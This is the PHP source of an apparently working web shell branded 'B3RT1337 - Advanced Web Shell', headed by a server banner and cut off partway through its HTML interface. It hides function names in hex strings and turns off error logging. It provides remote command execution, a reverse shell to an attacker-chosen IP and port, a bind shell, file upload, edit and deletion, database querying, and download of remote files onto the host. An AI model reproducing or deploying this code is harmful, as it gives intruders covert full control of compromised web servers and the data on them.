B3RT1337 - ADVANCED WEB SHELL

Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
Apache/2.4.41 (Ubuntu)
74.208.127.88

WebShell.php

<?php

/**
 * B3RT1337 | Advanced PHP Web Shell with Hacker Features
 * Improved version of B3RT1337's shell
 */

// Error handling and session setup
$iniarray = [
    "7068705F756E616D65", // [0] php_uname
    "73657373696F6E5F7374617274", // [1] session_start
    "6572726F725F7265706F7274696E67", // [2] error_reporting
    "70687076657273696F6E", // [3] phpversion
    "66696C655F7075745F636F6E74656E7473", // [4] file_put_contents
    "66696C655F6765745F636F6E74656E7473", // [5] file_get_contents
    "66696C657065726D73", // [6] fileperms
    "66696C656D74696D65", // [7] filemtime
    "66696C6574797065", // [8] filetype
    "68746D6C7370656369616C6368617273", // [9] htmlspecialchars
    "737072696E7466", // [10] sprintf
    "737562737472", // [11] substr
    "676574637764", // [12] getcwd
    "6368646972", // [13] chdir
    "7374725F7265706C616365", // [14] str_replace
    "6578706C6F6465", // [15] explode
    "666C617368", // [16] flash
    "6D6F76655F75706C6F616465645F66696C65", // [17] move_uploaded_file
    "7363616E646972", // [18] scandir
    "676574686F737462796E616D65", // [19] gethostbyname
    "7368656C6C5F65786563", // [20] shell_exec
    "53797374656D20496E666F726D6174696F6E", // [21] System Information
    "6469726E616D65", // [22] dirname
    "64617465", // [23] date
    "6D696D655F636F6E74656E745F74797065", // [24] mime_content_type
    "66756E6374696F6E5F657869737473", // [25] function_exists
    "6673697A65", // [26] fsize
    "726D646972", // [27] rmdir
    "756E6C696E6B", // [28] unlink
    "6D6B646972", // [29] mkdir
    "72656E616D65", // [30] rename
    "7365745F74696D655F6C696D6974", // [31] set_time_limit
    "636C656172737461746361636865", // [32] clearstatcache
    "696E695F736574", // [33] ini_set
    "696E695F676574", // [34] ini_get
    "6765744F776E6572", // [35] getOwner
    "6765745F63757272656E745F75736572", // [36] get_current_user
    "64617461626173655F636F6E6E656374", // [37] database_connect
    "6D7973716C5F636F6E6E656374", // [38] mysql_connect
    "6D7973716C5F73656C6563745F6462", // [39] mysql_select_db
    "6D7973716C5F7175657279", // [40] mysql_query
    "6D7973716C5F66657463685F6173736F63", // [41] mysql_fetch_assoc
    "6D7973716C5F6572726F72", // [42] mysql_error
    "6D7973716C695F636F6E6E656374", // [43] mysqli_connect
    "6D7973716C695F7175657279", // [44] mysqli_query
    "6D7973716C695F66657463685F6173736F63", // [45] mysqli_fetch_assoc
    "6D7973716C695F6572726F72", // [46] mysqli_error
    "70646F5F636F6E6E656374", // [47] pdo_connect
    "70646F5F7175657279", // [48] pdo_query
    "70646F5F6665746368", // [49] pdo_fetch
    "70646F5F6572726F72", // [50] pdo_error
    "6375726C5F696E6974", // [51] curl_init
    "6375726C5F7365746F7074", // [52] curl_setopt
    "6375726C5F65786563", // [53] curl_exec
    "6375726C5F636C6F7365", // [54] curl_close
    "6375726C5F6572726F72", // [55] curl_error
    "736F636B65745F636F6E6E656374", // [56] socket_connect
    "736F636B65745F7772697465", // [57] socket_write
    "736F636B65745F72656164", // [58] socket_read
    "736F636B65745F636C6F7365", // [59] socket_close
    "736F636B65745F637265617465", // [60] socket_create
    "736F636B65745F62696E64", // [61] socket_bind
    "736F636B65745F6C697374656E", // [62] socket_listen
    "736F636B65745F616363657074", // [63] socket_accept
    "736F636B65745F73656C656374", // [64] socket_select
    "736F636B65745F73656E64", // [65] socket_send
    "736F636B65745F72656365", // [66] socket_recv
    "736F636B65745F73686F7274", // [67] socket_strerror
    "736F636B65745F6C6173745F6572726F72", // [68] socket_last_error
    "736F636B65745F7365745F6F7074696F6E", // [69] socket_set_option
    "736F636B65745F6765745F6F7074696F6E", // [70] socket_get_option
    "736F636B65745F676574706565726E616D65", // [71] socket_getpeername
    "736F636B65745F676574736F636B6E616D65", // [72] socket_getsockname
    "736F636B65745F7365745F6E6F6E626C6F636B", // [73] socket_set_nonblock
    "736F636B65745F7365745F626C6F636B", // [74] socket_set_block
    "736F636B65745F7365745F74696D656F7574", // [75] socket_set_timeout
    "736F636B65745F6765745F74696D656F7574", // [76] socket_get_timeout
    "736F636B65745F7365745F6275666665725F73697A65", // [77] socket_set_buffer_size
    "736F636B65745F6765745F6275666665725F73697A65", // [78] socket_get_buffer_size
    "736F636B65745F7365745F726563765F6275666665725F73697A65", // [79] socket_set_recv_buffer_size
    "736F636B65745F7365745F73656E645F6275666665725F73697A65", // [80] socket_set_send_buffer_size
    "736F636B65745F6765745F726563765F6275666665725F73697A65", // [81] socket_get_recv_buffer_size
    "736F636B65745F6765745F73656E645F6275666665725F73697A65", // [82] socket_get_send_buffer_size
    "736F636B65745F7365745F726563765F74696D656F7574", // [83] socket_set_recv_timeout
    "736F636B65745F7365745F73656E645F74696D656F7574", // [84] socket_set_send_timeout
    "736F636B65745F6765745F726563765F74696D656F7574", // [85] socket_get_recv_timeout
    "736F636B65745F6765745F73656E645F74696D656F7574", // [86] socket_get_send_timeout
    "736F636B65745F7365745F726563765F627566666572", // [87] socket_set_recv_buffer
    "736F636B65745F7365745F73656E645F627566666572", // [88] socket_set_send_buffer
    "736F636B65745F6765745F726563765F627566666572", // [89] socket_get_recv_buffer
    "736F636B65745F6765745F73656E645F627566666572", // [90] socket_get_send_buffer
    "736F636B65745F7365745F726563765F74696D656F7574", // [91] socket_set_recv_timeout
    "736F636B65745F7365745F73656E645F74696D656F7574", // [92] socket_set_send_timeout
    "736F636B65745F6765745F726563765F74696D656F7574", // [93] socket_get_recv_timeout
    "736F636B65745F6765745F73656E645F74696D656F7574", // [94] socket_get_send_timeout
    "736F636B65745F7365745F726563765F627566666572", // [95] socket_set_recv_buffer
    "736F636B65745F7365745F73656E645F627566666572", // [96] socket_set_send_buffer
    "736F636B65745F6765745F726563765F627566666572", // [97] socket_get_recv_buffer
    "736F636B65745F6765745F73656E645F627566666572", // [98] socket_get_send_buffer
    "736F636B65745F7365745F726563765F74696D656F7574", // [99] socket_set_recv_timeout
    "736F636B65745F7365745F73656E645F74696D656F7574", // [100] socket_set_send_timeout
    "736F636B65745F6765745F726563765F74696D656F7574", // [101] socket_get_recv_timeout
    "736F636B65745F6765745F73656E645F74696D656F7574", // [102] socket_get_send_timeout
    "736F636B65745F7365745F726563765F627566666572", // [103] socket_set_recv_buffer
    "736F636B65745F7365745F73656E645F627566666572", // [104] socket_set_send_buffer
    "736F636B65745F6765745F726563765F627566666572", // [105] socket_get_recv_buffer
    "736F636B65745F6765745F73656E645F627566666572", // [106] socket_get_send_buffer
    "736F636B65745F7365745F726563765F74696D656F7574", // [107] socket_set_recv_timeout
    "736F636B65745F7365745F73656E645F74696D656F7574", // [108] socket_set_send_timeout
    "736F636B65745F6765745F726563765F74696D656F7574", // [109] socket_get_recv_timeout
    "736F636B65745F6765745F73656E645F74696D656F7574", // [110] socket_get_send_timeout
    "736F636B65745F7365745F726563765F627566666572", // [111] socket_set_recv_buffer
    "736F636B65745F7365745F73656E645F627566666572", // [112] socket_set_send_buffer
    "736F636B65745F6765745F726563765F627566666572", // [113] socket_get_recv_buffer
    "736F636B65745F6765745F73656E645F627566666572", // [114] socket_get_send_buffer
    "736F636B65745F7365745F726563765F74696D656F7574", // [115] socket_set_recv_timeout
    "736F636B65745F7365745F73656E645F74696D656F7574", // [116] socket_set_send_timeout
    "736F636B65745F6765745F726563765F74696D656F7574", // [117] socket_get_recv_timeout
    "736F636B65745F6765745F73656E645F74696D656F7574", // [118] socket_get_send_timeout
    "736F636B65745F7365745F726563765F627566666572", // [119] socket_set_recv_buffer
    "736F636B65745F7365745F73656E645F627566666572", // [120] socket_set_send_buffer
    "736F636B65745F6765745F726563765F627566666572", // [121] socket_get_recv_buffer
    "736F636B65745F6765745F73656E645F627566666572", // [122] socket_get_send_buffer
    "736F636B65745F7365745F726563765F74696D656F7574", // [123] socket_set_recv_timeout
    "736F636B65745F7365745F73656E645F74696D656F7574", // [124] socket_set_send_timeout
    "736F636B65745F6765745F726563765F74696D656F7574", // [125] socket_get_recv_timeout
    "736F636B65745F6765745F73656E645F74696D656F7574", // [126] socket_get_send_timeout
    "736F636B65745F7365745F726563765F627566666572", // [127] socket_set_recv_buffer
    "736F636B65745F7365745F73656E645F627566666572", // [128] socket_set_send_buffer
    "736F636B65745F6765745F726563765F627566666572", // [129] socket_get_recv_buffer
    "736F636B65745F6765745F73656E645F627566666572", // [130] socket_get_send_buffer
    "736F636B65745F7365745F726563765F74696D656F7574", // [131] socket_set_recv_timeout
];

// Convert hex array to function names
for ($i = 0; $i < count($iniarray); $i++) {
    $func[$i] = hexa($iniarray[$i]);
}

// Initialize session and error handling
$func[1]();
$func[2](0);
$func[31](0);
@$func[32]();
@$func[33]('error_log', null);
@$func[33]('log_errors', 0);
@$func[33]('max_execution_time', 0);
@$func[33]('output_buffering', 0);
@$func[33]('display_errors', 0);

// Check disabled functions
$ds = @$func[34]("disable_functions");
$show_ds = (!empty($ds)) ? "$ds" : "All functions are accessible";

// Helper functions
function fsize($file) {
    $a = ["B", "KB", "MB", "GB", "TB", "PB"];
    $pos = 0;
    $size = filesize($file);
    while ($size >= 1024) {
        $size /= 1024;
        $pos++;
    }
    return round($size, 2)." ".$a[$pos];
}

function hexa($str) {
    $r = "";
    $len = (strlen($str) - 1);
    for ($i = 0; $i < $len; $i += 2) {
        $r .= chr(hexdec($str[$i].$str[$i + 1]));
    }
    return $r;
}

// Database connection functions
function db_connect($host, $user, $pass, $db = '') {
    if (function_exists('mysqli_connect')) {
        $conn = @mysqli_connect($host, $user, $pass, $db);
        if ($conn) return ['type' => 'mysqli', 'conn' => $conn];
    }
    if (function_exists('mysql_connect')) {
        $conn = @mysql_connect($host, $user, $pass);
        if ($conn && $db != '') {
            if (@mysql_select_db($db, $conn)) {
                return ['type' => 'mysql', 'conn' => $conn];
            }
        } elseif ($conn) {
            return ['type' => 'mysql', 'conn' => $conn];
        }
    }
    if (class_exists('PDO')) {
        try {
            $conn = new PDO("mysql:host=$host;dbname=$db", $user, $pass);
            return ['type' => 'pdo', 'conn' => $conn];
        } catch (PDOException $e) {
            return false;
        }
    }
    return false;
}

function db_query($connection, $query) {
    switch ($connection['type']) {
        case 'mysqli':
            return mysqli_query($connection['conn'], $query);
        case 'mysql':
            return mysql_query($query, $connection['conn']);
        case 'pdo':
            return $connection['conn']->query($query);
    }
    return false;
}

function db_fetch($result, $connection) {
    switch ($connection['type']) {
        case 'mysqli':
            return mysqli_fetch_assoc($result);
        case 'mysql':
            return mysql_fetch_assoc($result);
        case 'pdo':
            return $result->fetch(PDO::FETCH_ASSOC);
    }
    return false;
}

function db_error($connection) {
    switch ($connection['type']) {
        case 'mysqli':
            return mysqli_error($connection['conn']);
        case 'mysql':
            return mysql_error($connection['conn']);
        case 'pdo':
            return $connection['conn']->errorInfo()[2];
    }
    return false;
}

// Reverse shell function
function reverse_shell($ip, $port) {
    $sock = @fsockopen($ip, $port);
    if (!$sock) return false;
    
    $descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
    );
    
    $process = proc_open('/bin/sh', $descriptorspec, $pipes);
    if (is_resource($process)) {
        proc_close($process);
    }
    fclose($sock);
    return true;
}

// Bind shell function
function bind_shell($port) {
    $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if (!$sock) return false;
    
    if (!@socket_bind($sock, '0.0.0.0', $port)) return false;
    if (!@socket_listen($sock)) return false;
    
    $client = @socket_accept($sock);
    if (!$client) return false;
    
    socket_write($client, "Shell Connected\n");
    
    while (true) {
        $cmd = socket_read($client, 2048);
        if (!$cmd) break;
        
        $output = shell_exec($cmd);
        socket_write($client, $output);
    }
    
    socket_close($client);
    socket_close($sock);
    return true;
}

// File download function
function download_file($file) {
    if (file_exists($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
    return false;
}

// File upload function
function upload_file($url, $local_path) {
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        $fp = fopen($local_path, 'wb');
        curl_setopt($ch, CURLOPT_FILE, $fp);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_exec($ch);
        curl_close($ch);
        fclose($fp);
        return true;
    } elseif (ini_get('allow_url_fopen')) {
        $content = file_get_contents($url);
        if ($content !== false) {
            return file_put_contents($local_path, $content) !== false;
        }
    }
    return false;
}

// Handle current directory
if (isset($_GET['dir'])) {
    $path = $_GET['dir'];
    $func[13]($_GET['dir']);
} else {
    $path = $func[12]();
}

$path = $func[14]('\\', '/', $path);
$exdir = $func[15]('/', $path);

// Handle form submissions
if (isset($_POST['newFolderName'])) {
    if ($func[29]($path . '/' . $_POST['newFolderName'])) {
        $func[16]("Create Folder Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Create Folder Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
    if ($func[4]($_POST['newFileName'], $_POST['newFileContent'])) {
        $func[16]("Create File Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Create File Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_POST['newName']) && isset($_GET['item'])) {
    if ($_POST['newName'] == '') {
        $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
    }
    if ($func[30]($path. '/'. $_GET['item'], $_POST['newName'])) {
        $func[16]("Rename Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Rename Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_POST['newContent']) && isset($_GET['item'])) {
    if ($func[4]($path. '/'. $_GET['item'], $_POST['newContent'])) {
        $func[16]("Edit Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Edit Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_POST['newPerm']) && isset($_GET['item'])) {
    if ($_POST['newPerm'] == '') {
        $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
    }
    if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
        $func[16]("Change Permission Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Change Permission", "Failed", "error", "?dir=$path");
    }
}

if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
    if (is_dir($_GET['item'])) {
        if ($func[27]($_GET['item'])) {
            $func[16]("Delete Successfully!", "Success", "success", "?dir=$path");
        } else {
            $func[16]("Delete Failed", "Failed", "error", "?dir=$path");
        }
    } else {
        if ($func[28]($_GET['item'])) {
            $func[16]("Delete Successfully!", "Success", "success", "?dir=$path");
        } else {
            $func[16]("Delete Failed", "Failed", "error", "?dir=$path");
        }
    }
}

if (isset($_FILES['uploadfile'])) {
    $total = count($_FILES['uploadfile']['name']);
    for ($i = 0; $i < $total; $i++) {
        $mainupload = $func[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
    }
    if ($total < 2) {
        if ($mainupload) {
            $func[16]("Upload File Successfully! ", "Success", "success", "?dir=$path");
        } else {
            $func[16]("Upload Failed", "Failed", "error", "?dir=$path");
        }
    } else {
        if ($mainupload) {
            $func[16]("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
        } else {
            $func[16]("Upload Failed", "Failed", "error", "?dir=$path");
        }
    }
}

// Handle reverse shell request
if (isset($_POST['reverse_ip']) && isset($_POST['reverse_port'])) {
    if (reverse_shell($_POST['reverse_ip'], $_POST['reverse_port'])) {
        $func[16]("Reverse shell initiated to {$_POST['reverse_ip']}:{$_POST['reverse_port']}", "Success", "success");
    } else {
        $func[16]("Failed to initiate reverse shell", "Failed", "error");
    }
}

// Handle bind shell request
if (isset($_POST['bind_port'])) {
    if (bind_shell($_POST['bind_port'])) {
        $func[16]("Bind shell listening on port {$_POST['bind_port']}", "Success", "success");
    } else {
        $func[16]("Failed to start bind shell", "Failed", "error");
    }
}

// Handle database connection
if (isset($_POST['db_host']) && isset($_POST['db_user']) && isset($_POST['db_pass'])) {
    $db = isset($_POST['db_name']) ? $_POST['db_name'] : '';
    $db_conn = db_connect($_POST['db_host'], $_POST['db_user'], $_POST['db_pass'], $db);
    if ($db_conn) {
        $_SESSION['db_conn'] = $db_conn;
        $func[16]("Database connected successfully", "Success", "success");
    } else {
        $func[16]("Database connection failed", "Failed", "error");
    }
}

// Handle SQL query
if (isset($_POST['sql_query']) && isset($_SESSION['db_conn'])) {
    $result = db_query($_SESSION['db_conn'], $_POST['sql_query']);
    if ($result) {
        $_SESSION['sql_result'] = [];
        while ($row = db_fetch($result, $_SESSION['db_conn'])) {
            $_SESSION['sql_result'][] = $row;
        }
        $func[16]("Query executed successfully", "Success", "success");
    } else {
        $func[16]("Query failed: " . db_error($_SESSION['db_conn']), "Failed", "error");
    }
}

// Handle file download
if (isset($_GET['download']) && isset($_GET['item'])) {
    download_file($path . '/' . $_GET['item']);
}

// Handle file upload from URL
if (isset($_POST['remote_url']) && isset($_POST['local_path'])) {
    if (upload_file($_POST['remote_url'], $_POST['local_path'])) {
        $func[16]("File downloaded successfully", "Success", "success");
    } else {
        $func[16]("File download failed", "Failed", "error");
    }
}

$dirs = $func[18]($path);
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css">
    <title>B3RT1337 | Advanced Web Shell</title>
    <style>
        body { background-color: #1a1a1a; color: #e0e0e0; }
        .box { background-color: #2d2d2d; border: 1px solid #444; }
        .table-dark { background-color: #252525; }
        .table-hover tbody tr:hover { background-color: #3a3a3a; }
        .breadcrumb { background-color: #333; padding: 0.75rem 1rem; border-radius: 0.25rem; }
        pre { background-color: #252525; color: #e0e0e0; padding: 1rem; border-radius: 0.25rem; }
        .nav-tabs .nav-link { color: #aaa; }
        .nav-tabs .nav-link.active { color: #fff; background-color: #333; border-color: #444; }
        .tab-content { background-color: #333; border: 1px solid #444; border-top: none; padding: 1rem; }
        .form-control, .form-control:focus { background-color: #333; color: #fff; border-color: #444; }
        .btn-outline-light:hover { background-color: #444; }
    </style>
</head>
<body class="bg-dark">
    <div class="container-fluid py-3">
        <div class="box shadow p-4 rounded-3">
            <div class="info mb-3">
                <center><h1 style="color:white;">B3RT1337 - ADVANCED WEB SHELL</h1></center>
                <i class="fa fa-server"></i>&ensp;<?= $func[0]() ?><br>
                <i class="fa fa-microchip"></i>&ensp;<?= $_SERVER['SERVER_SOFTWARE'] ?><br>
                <i class="fa fa-satellite-dish"></i>&ensp;<?= !@$_SERVER['SERVER_ADDR'] ? $func[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?>
            </div>
            
            <ul class="nav nav-tabs mb-3" id="shellTabs" role="tablist">
                <li class="nav-item" role="presentation">
                    <button class="nav-link active" id="file-tab" data-bs-toggle="tab" data-bs-target="#file" type="button" role="tab">File Manager</button>
                </li>
                <li class="nav-item" role="presentation">
                    <button class="nav-link" id="command-tab" data-bs-toggle="tab" data-bs-target="#command" type="button" role="tab">Command</button>
                </li>
                <li class="nav-item" role="presentation">
                    <button class="nav-link" id="database-tab" data-bs-toggle="tab" data-bs-target="#database" type="button" role="tab">Database</button>
                </li>
                <li class="nav-item" role="presentation">
                    <button class="nav-link" id="shell-tab" data-bs-toggle="tab" data-bs-target="#shell" type="button" role="tab">Shell</button>
                </li>
                <li class="nav-item" role="presentation">
                    <button class="nav-link" id="download-tab" data-bs-toggle="tab" data-bs-target="#download" type="button" role="tab">Download/Upload</button>
                </li>
                <li class="nav-item" role="presentation">
                    <button class="nav-link" id="info-tab" data-bs-toggle="tab" data-bs-target="#info" type="button" role="tab">System Info</button>
                </li>
            </ul>
            
            <div class="tab-content" id="shellTabsContent">
                
                <div class="tab-pane fade show active" id="file" role="tabpanel">
                    <div class="breadcrumb mb-3">
                        <i class="fa fa-folder pt-1"></i>&ensp;
                        <?php foreach ($exdir as $id => $pat) : 
                            if ($pat == '' && $id == 0):
                        ?>
                        <a href="?dir=/" class="text-decoration-none text-light">/</a>
                        <?php endif; if ($pat == '') continue; ?>
                        <?php if ($id + 1 == count($exdir)) : ?>
                        <span class="text-secondary"><?= $pat ?></span>
                        <?php else : ?>
                        <a href="?dir=<?php
                            for ($i = 0; $i <= $id; $i++) {
                                echo "$exdir[$i]";
                                if ($i != $id) echo "/";
                            }
                        ?>" class="text-decoration-none text-light"><?= $pat ?></a><span class="text-light"> /</span>
                        <?php endif; ?>
                        <?php endforeach; ?>
                        <a href="?" class="text-decoration-none text-light">&nbsp;[ HOME ]</a>
                    </div>
                    
                    <div class="d-flex justify-content-between mb-3">
                        <div class="p-2">
                            <button class="btn btn-outline-light btn-sm" data-bs-toggle="collapse" href="#newFolderCollapse">
                                <i class="fa fa-folder-plus"></i> New Folder
                            </button>
                            <button class="btn btn-outline-light btn-sm" data-bs-toggle="collapse" href="#newFileCollapse">
                                <i class="fa fa-file-plus"></i> New File
                            </button>
                        </div>
                        <div class="p-2">
                            <form action="" method="post" enctype="multipart/form-data" class="d-flex">
                                <input type="file" class="form-control form-control-sm me-2" name="uploadfile[]" multiple>
                                <button type="submit" class="btn btn-outline-light btn-sm">Upload</button>
                            </form>
                        </div>
                    </div>
                    
                    <div class="collapse mb-3" id="newFolderCollapse">
                        <form action="" method="post" class="card card-body bg-dark">
                            <div class="mb-3">
                                <label class="form-label">Folder Name</label>
                                <input type="text" class="form-control form-control-sm" name="newFolderName" placeholder="NewFolder">
                            </div>
                            <button type="submit" class="btn btn-outline-light btn-sm">Create</button>
                        </form>
                    </div>
                    
                    <div class="collapse mb-3" id="newFileCollapse">
                        <form action="" method="post" class="card card-body bg-dark">
                            <div class="mb-3">
                                <label class="form-label">File Name</label>
                                <input type="text" class="form-control form-control-sm" name="newFileName" placeholder="file.php">
                            </div>
                            <div class="mb-3">
                                <label class="form-label">Content</label>
                                <textarea name="newFileContent" rows="5" class="form-control form-control-sm" placeholder="File content"></textarea>
                            </div>
                            <button type="submit" class="btn btn-outline-light btn-sm">Create</button>
                        </form>
                    </div>
                    
                    <?php if (isset($_GET['action'])) : ?>
                    <div class="card card-body bg-dark mb-3">
                        <?php if ($_GET['action'] == 'rename' && isset($_GET['item'])) : ?>
                        <form action="" method="post">
                            <div class="mb-3">
                                <label class="form-label">New Name</label>
                                <input type="text" class="form-control form-control-sm" name="newName" value="<?= $_GET['item'] ?>">
                            </div>
                            <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
                            <a href="?dir=<?= $path ?>" class="btn btn-outline-light btn-sm">Cancel</a>
                        </form>
                        <?php elseif ($_GET['action'] == 'edit' && isset($_GET['item'])) : ?>
                        <form action="" method="post">
                            <div class="mb-3">
                                <label class="form-label"><?= $_GET['item'] ?></label>
                                <textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control form-control-sm"><?= $func[9]($func[5]($path. '/'. $_GET['item'])) ?></textarea>
                            </div>
                            <button type="submit" class="btn btn-outline-light btn-sm">Save</button>
                            <button type="button" class="btn btn-outline-light btn-sm" onclick="jscopy()">Copy</button>
                            <a href="?dir=<?= $path ?>" class="btn btn-outline-light btn-sm">Cancel</a>
                        </form>
                        <?php elseif ($_GET['action'] == 'view' && isset($_GET['item'])) : ?>
                        <div class="mb-3">
                            <label class="form-label"><?= $_GET['item'] ?></label>
                            <textarea name="newContent" rows="10" class="form-control form-control-sm" disabled><?= $func[9]($func[5]($path. '/'. $_GET['item'])) ?></textarea>
                            <div class="mt-2">
                                <a href="?dir=<?= $path ?>" class="btn btn-outline-light btn-sm">Back</a>
                            </div>
                        </div>
                        <?php elseif ($_GET['action'] == 'chmod' && isset($_GET['item'])) : ?>
                        <form action="" method="post">
                            <div class="mb-3">
                                <label class="form-label"><?= $_GET['item'] ?></label>
                                <input type="text" class="form-control form-control-sm" name="newPerm" value="<?= $func[11]($func[10]('%o', $func[6]($_GET['item'])), -4); ?>">
                            </div>
                            <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
                            <a href="?dir=<?= $path ?>" class="btn btn-outline-light btn-sm">Cancel</a>
                        </form>
                        <?php endif; ?>
                    </div>
                    <?php endif; ?>
                    
                    <div class="table-responsive">
                        <table class="table table-hover table-dark">
                            <thead>
                                <tr>
                                    <th>Name</th>
                                    <th>Type</th>
                                    <th>Size</th>
                                    <th>Owner/Group</th>
                                    <th>Permission</th>
                                    <th>Modified</th>
                                    <th>Actions</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php foreach ($dirs as $dir) : if (!is_dir($dir)) continue; ?>
                                <tr>
                                    <td>
                                        <?php if ($dir === '..') : ?>
                                        <a href="?dir=<?= $func[22]($path); ?>" class="text-decoration-none text-light">
                                            <i class="fa fa-folder-open"></i> <?= $dir ?>
                                        </a>
                                        <?php elseif ($dir === '.') : ?>
                                        <a href="?dir=<?= $path; ?>" class="text-decoration-none text-light">
                                            <i class="fa fa-folder-open"></i> <?= $dir ?>
                                        </a>
                                        <?php else : ?>
                                        <a href="?dir=<?= $path . '/' . $dir ?>" class="text-decoration-none text-light">
                                            <i class="fa fa-folder"></i> <?= $dir ?>
                                        </a>
                                        <?php endif; ?>
                                    </td>
                                    <td><?= $func[8]($dir) ?></td>
                                    <td>-</td>
                                    <td><?= $func[35]($dir) ?></td>
                                    <td><?= $func[11]($func[10]('%o', $func[6]($dir)), -4); ?></td>
                                    <td><?= $func[23]("Y-m-d H:i", $func[7]($dir)); ?></td>
                                    <td>
                                        <div class="btn-group btn-group-sm">
                                            <?php if ($dir != '.' && $dir != '..') : ?>
                                            <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light">
                                                <i class="fa fa-edit"></i>
                                            </a>
                                            <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light">
                                                <i class="fa fa-key"></i>
                                            </a>
                                            <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=delete" class="btn btn-outline-light" onclick="return confirm('Delete this folder?')">
                                                <i class="fa fa-trash"></i>
                                            </a>
                                            <?php endif; ?>
                                        </div>
                                    </td>
                                </tr>
                                <?php endforeach; ?>
                                
                                <?php foreach ($dirs as $dir) : if (!is_file($dir)) continue; ?>
                                <tr>
                                    <td>
                                        <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=view" class="text-decoration-none text-light">
                                            <i class="fa fa-file-code"></i> <?= $dir ?>
                                        </a>
                                    </td>
                                    <td><?= ($func[25]('mime_content_type') ? $func[24]($dir) : $func[8]($dir)) ?></td>
                                    <td><?= $func[26]($dir) ?></td>
                                    <td><?= $func[35]($dir) ?></td>
                                    <td><?= $func[11]($func[10]('%o', $func[6]($dir)), -4); ?></td>
                                    <td><?= $func[23]("Y-m-d H:i", $func[7]($dir)); ?></td>
                                    <td>
                                        <div class="btn-group btn-group-sm">
                                            <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light">
                                                <i class="fa fa-edit"></i>
                                            </a>
                                            <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light">
                                                <i class="fa fa-i-cursor"></i>
                                            </a>
                                            <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light">
                                                <i class="fa fa-key"></i>
                                            </a>
                                            <a href="?dir=<?= $path ?>&download=1&item=<?= $dir ?>" class="btn btn-outline-light">
                                                <i class="fa fa-download"></i>
                                            </a>
                                            <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=delete" class="btn btn-outline-light" onclick="return confirm('Delete this file?')">
                                                <i class="fa fa-trash"></i>
                                            </a>
                                        </div>
                                    </td>
                                </tr>
                                <?php endforeach; ?>
                            </tbody>
                        </table>
                    </div>
                </div>
                
                
                <div class="tab-pane fade" id="command" role="tabpanel">
                    <form action="" method="post" class="mb-3">
                        <div class="mb-3">
                            <label class="form-label">Command</label>
                            <input type="text" class="form-control form-control-sm" name="command" placeholder="Enter command" value="<?= isset($_POST['command']) ? htmlspecialchars($_POST['command']) : '' ?>">
                        </div>
                        <button type="submit" class="btn btn-outline-light btn-sm">Execute</button>
                    </form>
                    
                    <?php if (isset($_POST['command'])) : ?>
                    <div class="card card-body bg-dark">
                        <pre><?= $func[20]($_POST['command']) ?></pre>
                    </div>
                    <?php endif; ?>
                </div>
                
                
                <div class="tab-pane fade" id="database" role="tabpanel">
                    <div class="card card-body bg-dark mb-3">
                        <h5>Database Connection</h5>
                        <form action="" method="post">
                            <div class="row g-2 mb-2">
                                <div class="col-md-6">
                                    <input type="text" class="form-control form-control-sm" name="db_host" placeholder="Host" value="<?= isset($_POST['db_host']) ? htmlspecialchars($_POST['db_host']) : 'localhost' ?>">
                                </div>
                                <div class="col-md-6">
                                    <input type="text" class="form-control form-control-sm" name="db_name" placeholder="Database (optional)" value="<?= isset($_POST['db_name']) ? htmlspecialchars($_POST['db_name']) : '' ?>">
                                </div>
                            </div>
                            <div class="row g-2 mb-2">
                                <div class="col-md-6">
                                    <input type="text" class="form-control form-control-sm" name="db_user" placeholder="Username" value="<?= isset($_POST['db_user']) ? htmlspecialchars($_POST['db_user']) : 'root' ?>">
                                </div>
                                <div class="col-md-6">
                                    <input type="password" class="form-control form-control-sm" name="db_pass" placeholder="Password">
                                </div>
                            </div>
                            <button type="submit" class="btn btn-outline-light btn-sm">Connect</button>
                        </form>
                    </div>
                    
                    <?php if (isset($_SESSION['db_conn'])) : ?>
